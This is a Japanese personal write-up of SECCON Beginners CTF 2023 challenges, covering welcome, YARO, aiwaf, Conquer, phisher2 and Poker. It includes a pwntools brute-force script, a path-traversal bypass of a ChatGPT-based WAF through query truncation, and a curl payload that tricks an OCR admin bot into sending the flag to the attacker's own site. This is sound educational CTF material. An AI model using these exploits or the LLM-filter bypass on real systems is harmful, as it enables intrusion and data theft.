解いた順番は以下の通り
【welcome】Welcome
Point: 50 (711solved)
問題文
解説
SECCON Beginners CTFのDiscordサーバーのannouncementsチャンネルに開始直後に送信されたメッセージ内にflagがありました。
flag
ctf4b{Welcome_to_SECCON_Beginners_CTF_2023!!!}
【misc】YARO
Point: 74 (212solved)
問題文
解説
与えられたプログラムを見るとyaraという見慣れないモジュールがあったので、そのモジュールを使用している箇所を調べつつ確認。
調べたところYARAはマルウェアの解析に使われるツールでYARAルールというものを指定することで特定の文字列を使用したファイルを調べることができるらしい。
#!/usr/bin/env python3
import yara
import os
import timeout_decorator
@timeout_decorator.timeout(20)
def main():
rule = []
print('rule:')
while True:
l = input()
if len(l) == 0:
break
rule.append(l)
rule = '\n'.join(rule)
try:
print(f'OK. Now I find the malware from this rule:\n{rule}')
compiled = yara.compile(source=rule)
for root, d, f in os.walk('.'):
for p in f:
file = os.path.join(root, p)
matches = compiled.match(file, timeout=60)
if matches:
print(f'Found: {file}, matched: {matches}')
else:
print(f'Not found: {file}')
except:
print('Something wrong')
if __name__ == '__main__':
try:
main()
except timeout_decorator.timeout_decorator.TimeoutError:
print("Timeout")
問題として与えられたサーバにncでアクセスして適当なルールを与えてみる
flag.txtにctf4b{
という文字列が含まれていることがわかった。あとは一文字ずつ試せばflagを発見できそうだ。実際、問題文にbackupのサーバが用意されていることからもブルートフォース攻撃が解法として悪くなさそうにも見える。
使用したexploitコードは以下
from pwn import *
import pwn
import ptrlib
def exploit(flag):
io = remote("yaro.beginners.seccon.games", 5003)
payload=f"""rule find_flag {{
strings:
$flag = "{flag}"
condition:
$flag
}}\n""".encode()
response=io.recvline().decode().strip()
print(response)
io.sendline(payload)
for _ in range(7+2):
response=io.recvline().decode().strip()
print(response)
response=io.recvline().decode().strip()
print(response)
io.close()
return "F" in response
ans="ctf4b{"
while ans[-1]!="}":
for i in range(0x20,0x80):
try:
if exploit(ans+chr(i)):
ans+=chr(i)
break
# docstring内でダブルクォーテーションが含まれるとエラーを吐く対策
except:
pass
print("\n\n\n\n\n\n")
print(ans)
print("\n\n\n\n\n\n")
flag
ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}
【web】 aiwaf
Point: 68 (254solved)
問題文
解説
aiwaf
├── app
│ ├── Dockerfile
│ ├── app.py
│ ├── books
│ │ ├── book0.txt
│ │ ├── book1.txt
│ │ ├── book2.txt
│ │ ├── book3.txt
│ │ └── book4.txt
│ ├── flag
│ ├── requirements.txt
│ └── uwsgi.ini
├── docker-compose.yml
└── nginx
├── Dockerfile
└── nginx.conf
与えられたファイルを見ると話題のChatGPT君にプロンプトを与えている箇所が、、、
import uuid
import openai
import urllib.parse
from flask import Flask, request, abort
# from flask_limiter import Limiter
# from flask_limiter.util import get_remote_address
##################################################
# OpenAI API key
KEY = "****REDACTED****"
##################################################
app = Flask(__name__)
app.config["RATELIMIT_HEADERS_ENABLED"] = True
# limiter = Limiter(get_remote_address, app=app, default_limits=["3 per minute"])
openai.api_key = KEY
top_page = """
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="utf-8" />
<title>亞空文庫</title>
</head>
<body>
<h1>亞空文庫</h1>
AIにセキュリティの物語を書いてもらいました。<br>
内容は正しいかどうかわかりません。<br>
<ul>
<li><a href="/?file=book0.txt">あ書</a></li>
<li><a href="/?file=book1.txt">い書</a></li>
<li><a href="/?file=book2.txt">う書</a></li>
<!-- <li><a href="/?file=book3.txt">え書</a></li> -->
</ul>
※セキュリティのためAI-WAFを導入しています。<br>
© 2023 ももんがの書房
</body>
</html>
"""
@app.route("/")
def top():
file = request.args.get("file")
if not file:
return top_page
if file in ["book0.txt", "book1.txt", "book2.txt"]:
with open(f"./books/{file}", encoding="utf-8") as f:
return f.read()
# AI-WAF
puuid = uuid.uuid4()
prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。
{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
try:
response = openai.ChatCompletion.create(
model="gpt-3.5-turbo",
messages=[
{
"role": "user",
"content": prompt,
},
],
)
result = response.choices[0]["message"]["content"].strip()
except:
return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。")
if "No" in result:
with open(f"./books/{file}", encoding="utf-8") as f:
return f.read().replace(KEY, "")
return abort(403, "AI-WAFに検知されました👻")
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=31415)
この問題で着目した点は3つ
1. wafを突破したらどうなるか
if "No" in result:
with open(f"./books/{file}", encoding="utf-8") as f:
return f.read().replace(KEY, "")
return abort(403, "AI-WAFに検知されました👻")
folder構成から./books/../flag
に答えがありそう
開かれるファイルは./books/{file}
なのでどうにかしてfileにその../flag
を入れたい
2. fileをどう取得しているか
@app.route("/")
def top():
file = request.args.get("file")
if not file:
return top_page
if file in ["book0.txt", "book1.txt", "book2.txt"]:
with open(f"./books/{file}", encoding="utf-8") as f:
return f.read()
# AI-WAF
request.args.get("file")
からfileの値はクエリパラメータのfileという値から取得していそう
つまり、URLに?file=
という文字列は含める必要がありそう
3. promptをどのように渡しているか
# AI-WAF
puuid = uuid.uuid4()
prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。
{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
最初は話題のプロンプトインジェクションかと思ったけど
urllib.parse.unquote(request.query_string)[:50]
としているので50文字以上の文字列は切り飛ばされてる
つまり適当に50文字以上のクエリ文字列を足して後ろに&file
という形でパラメータを足せばaiwafを突破した上でfile変数に../flag
を入れることが出来そう。
?hogefuga={十分に長い文字列}&file=../flag
の形式で行けそうだけどURLの最大長が2083文字なことには一応注意。
flag
ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}
【crypt】 Conquer
Point: 84 (152solved)
問題文
解説
Conquer
├── output.txt
└── problem.py
key = 364765105385226228888267246885507128079813677318333502635464281930855331056070734926401965510936356014326979260977790597194503012948
cipher = 92499232109251162138344223189844914420326826743556872876639400853892198641955596900058352490329330224967987380962193017044830636379
from Crypto.Util.number import *
from random import getrandbits
from flag import flag
def ROL(bits, N):
for _ in range(N):
bits = ((bits << 1) & (2**length - 1)) | (bits >> (length - 1))
return bits
flag = bytes_to_long(flag)
length = flag.bit_length()
key = getrandbits(length)
cipher = flag ^ key
for i in range(32):
key = ROL(key, pow(cipher, 3, length))
cipher ^= key
print("key =", key)
print("cipher =", cipher)
問題文からもなんとなく推測できますが、ROL関数を見るとbit列に関して循環左シフトしている事がわかる。
流れとしては、
bytes_to_long
→ flag XOR key
以下の流れを32回
keyを{pow(cipher,3,length)}bit循環左シフトする
cipher XOR key
なのでその逆操作をするコードを作成。
from Crypto.Util.number import *
# 循環右シフト
def ROR(bits, N, length):
for _ in range(N):
bits = (bits >> 1) | (bits & 1) << (length - 1)
return bits
def decrypt(key, cipher, length):
for i in range(32):
cipher ^= key
key = ROR(key, pow(cipher, 3, length), length)
flag = long_to_bytes(cipher ^ key)
return flag
key = 364765105385226228888267246885507128079813677318333502635464281930855331056070734926401965510936356014326979260977790597194503012948
cipher = 92499232109251162138344223189844914420326826743556872876639400853892198641955596900058352490329330224967987380962193017044830636379
for length in range(15,1000):
flag = decrypt(key, cipher, length)
try:
if "ctf" in flag.decode():
print("flag =", flag)
break
else:
print(flag)
except:
print(flag)
flag
ctf4b{SemiCIRCLErCanalsHaveBeenConqueredByTheCIRCLE!!!}
【web】phisher2
Point: 94 (118solved)
問題文
解説
ちなみにphisher1とも言うべきphisherは昨年出題された問題で、ホモグラフ攻撃が題材だった。
phisher2
├── docker-compose.yml
├── nginx
│ ├── Dockerfile
│ └── nginx.conf
└── phisher2
├── Dockerfile
├── admin.py
├── app.py
├── index.html
├── requirements.txt
└── uwsgi.ini
ページ内にあるcurlコマンド
curl -X POST -H "Content-Type: application/json" -d '{"text":"https://phisher2.beginners.seccon.games/foobar"}' https://phisher2.beginners.seccon.games
文字通り安全なサイトを用意してcurlで指定すればadminがアクセスしてくれるらしい。
import os
import uuid
from admin import share2admin
from flask import Flask, request
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index():
return open("./index.html").read()
@app.route("/", methods=["POST"])
def chall():
try:
text = request.json["text"]
except Exception:
return {"message": "text is required."}
fileId = uuid.uuid4()
file_path = f"/var/www/uploads/{fileId}.html"
with open(file_path, "w", encoding="utf-8") as f:
f.write(f'<p style="font-size:30px">{text}</p>')
message, ocr_url, input_url = share2admin(text, fileId)
os.remove(file_path)
return {"message": message, "ocr_url": ocr_url, "input_url": input_url}
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0")
share2admin関数でadminに情報を渡してるのでそこで安全かどうかの判定をしてそう。
そしてその関数はadmin.pyにある。
import os
import re
import pyocr
import requests
from PIL import Image
from selenium import webdriver
APP_URL = os.getenv("APP_URL", "http://localhost:16161/")
FLAG = os.getenv("FLAG", "ctf4b{dummy_flag}")
# read text from image
def ocr(image_path: str):
tool = pyocr.get_available_tools()[0]
return tool.image_to_string(Image.open(image_path), lang="eng")
def openWebPage(fileId: str):
try:
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument("--no-sandbox")
chrome_options.add_argument("--headless")
chrome_options.add_argument("--disable-gpu")
chrome_options.add_argument("--disable-dev-shm-usage")
chrome_options.add_argument("--window-size=1920,1080")
driver = webdriver.Chrome(options=chrome_options)
driver.implicitly_wait(10)
url = f"file:///var/www/uploads/{fileId}.html"
driver.get(url)
image_path = f"./images/{fileId}.png"
driver.save_screenshot(image_path)
driver.quit()
text = ocr(image_path)
os.remove(image_path)
return text
except Exception:
return None
def find_url_in_text(text: str):
result = re.search(r"https?://[\w/:&\?\.=]+", text)
if result is None:
return ""
else:
return result.group()
def share2admin(input_text: str, fileId: str):
# admin opens the HTML file in a browser...
ocr_text = openWebPage(fileId)
if ocr_text is None:
return "admin: Sorry, internal server error."
# If there's a URL in the text, I'd like to open it.
ocr_url = find_url_in_text(ocr_text)
input_url = find_url_in_text(input_text)
# not to open dangerous url
if not ocr_url.startswith(APP_URL):
return "admin: It's not url or safe url.", ocr_url, input_text
try:
# It seems safe url, therefore let's open the web page.
requests.get(f"{input_url}?flag={FLAG}")
except Exception:
return "admin: I could not open that inner link.", ocr_url, input_text
return "admin: Very good web site. Thanks for sharing!", ocr_url, input_text
share2admin関数の流れをざっくり読む
# ocr(光学文字認識)は生成されたHTMLをスクショした画像でやっていそう
ocr_text = openWebPage(fileId)
# 認識できる文字列がなかったらエラー
if ocr_text is None:
return "admin: Sorry, internal server error."
# 画像認識で生成したテキストと入力で渡したURLをfind_url_in_textで特殊な文字を含まないURLに変換してそう
ocr_url = find_url_in_text(ocr_text)
input_url = find_url_in_text(input_text)
ocr_urlとinput_urlどちらかを誤認させたそう。
if not ocr_url.startswith(APP_URL):
return "admin: It's not url or safe url.", ocr_url, input_text
try:
# It seems safe url, therefore let's open the web page.
requests.get(f"{input_url}?flag={FLAG}")
except Exception:
return "admin: I could not open that inner link.", ocr_url, input_text
return "admin: Very good web site. Thanks for sharing!", ocr_url, input_text
リクエストしてもらうためにocr_url
しか見ていないと分かるので、画像認識の結果を誤認させ、input_url
に対してアクセスをさせたい感じがする。
APP_URL = os.getenv("APP_URL", "http://localhost:16161/")
とあるので、環境変数としてAPP_URLを渡してそう。環境変数を渡している記述がdocker-compose.ymlに存在したので見てみると
# macos m1 is not supported
version: "3.8"
services:
uwsgi:
build: ./phisher2
environment:
TZ: "Asia/Tokyo"
APP_URL: https://phisher2.beginners.seccon.games/
FLAG: ctf4b{dummy_flag}
nginx:
build: ./nginx
links:
- uwsgi
ports:
- "80:80"
environment:
TZ: "Asia/Tokyo"
environmentでhttps://phisher2.beginners.seccon.games/
を渡している。
つまりOCRの結果がhttps://phisher2.beginners.seccon.games/
で始まる文字列であれば良さげ。
この時点で、金かかるけどhttps://phisher2.beginners.seccon.games.net
みたいなドメイン取れば行けそう。
まあドメイン取れたとして、それで解く意味はないからやらないけど、、、
ところで、OCRが読み込んでいる画像はapp.py側でリクエストパラメータとして送ったtext(share2admin内の変数でいうとinput_url)から生成されている。
try:
text = request.json["text"]
except Exception:
return {"message": "text is required."}
with open(file_path, "w", encoding="utf-8") as f:
f.write(f'<p style="font-size:30px">{text}</p>')
ざっくりここまでで自分が認識している情報をまとめると
find_url_in_text関数 = http or https から始まる文字列に変換 (一部特殊文字は消される)
ocr_url = app.pyで生成されたhtmlを画像認識した結果をfind_url_in_text関数で変換したもの\
安全なURLであるかの判定に使われる\ 誤認させたい
input_url = curlでtextパラメータにいれた文字列をfind_url_in_text関数で変換したもの\
自分のURLにしたい
APP_URL = https://phisher2.beginners.seccon.games/
そして送ったリクエストが以下
curl -X POST -H "Content-Type: application/json" -d '{"text":"<a https://{自前のサイト}?a=></a>https
://phisher2.beginners.seccon.games/"}' https://phisher2.beginners.seccon.games
つまり
ocr_url
= https://phisher2.beginners.seccon.games/
input_url
= find_in_url_text("<a https://{自前のサイト}?a=></a>https://phisher2.beginners.seccon.games/")
= https://{自前のサイト}?a=https://phisher2.beginners.seccon.games/
となるので安全なURLと誤認させた上で、自分のサイトに対してリクエストを送信してもらえる。
flag
ctf4b{w451t4c4t154w?}
【reversing】Poker
Point: 94 (117solved)
問題文
解説
とりあえずIDA Freewareに入れてみる。
Flag取得していそうな部分を発見。
sub_11A0という関数でその処理を実行していそうなのでその処理に向かうまでに必要なステップを追う。
sub_11A0をIDAでグラフ表示してみると、、、
なんかめっちゃ条件分岐してる、、、
start関数呼ばれたあとにmain関数呼んで、main関数からsub_11A0、そしてフラグまでの条件分岐が画像の通り、ということまでは分かったが正直一つ一つ追っていくと超大変、、、
デバッグフラグが埋め込まれてないのでmain関数にbreakうってそこに飛ぶ!みたいな動作が出来ないのもやばいところ、、、
色々と思考した結果、「問題文に点数をたくさん取れば良いってあるんだから正解した時に得られるポイントを最大化すればflagを得られるのでは!?」という考えに至り、結果成功。
以下は手順。
動的解析を行うのでまずはpokerを実行
実際に自分でやってみると、最初にスコアが0でその後、勝利するごとにスコアが1ずつ加算されることがわかる。
起動中のpokerのプロセスIDを指定してgdbを起動。
最初にスコアが0だったので値を返す処理の手前あたりでレジスタの値が0でadd命令でスコア1を加算している部分をnなどで1ステップずつ進みながら気合で探す。
最初はどのあたりで処理が実行している側に返されるのかを探る意味でnとEnterを連打してた。
結果としてそれに相当しそうな処理を発見↓。
1スコアを加算したあとに、98以下の値であるかどうかの比較をしていることがわかる。
最初はスコア0なので当然0x558f5ab90288に飛ぶが、その先でrbp-0x4の値をeaxに代入していることが分る。
ここで自分はrbp-0x4の値を比較している部分が加算前にあったことを思い出したので該当箇所を探した。
まさにここ↑。99以下かどうか比較してる。この辺の値がスコアに関連してそうなことがわかった。基本的にスコアはデフォルトでは0、つまり99より小さい。さらに99というよく見るカンストっぽい値。なんとなーく99よりでかい値にしたい感が強まる。
というわけで比較前にrbp-0x4に代入している箇所があるのでeaxに0x64(100)を代入してみる。
gdb上で
set $rax = 0x64
すると、、、
残念、、、
というのも正解したあとのスコアを書き換えている部分に当たるので、正解は自力でする必要がある。
なので再度gdbで同じ手順をすると、、、
今度は通る。運が悪ければ一生解けない方法だけどそれはそれで天文学的な確率なので何回かやってればいける。
これでflagゲット!
flag
ctf4b{4ll_w3_h4v3_70_d3cide_1s_wh4t_t0_d0_w1th_7he_71m3_7h47_i5_g1v3n_u5}
最後に
解けなかった問題も多くありますが、その過程で得られる知識があって非常に楽しかったです!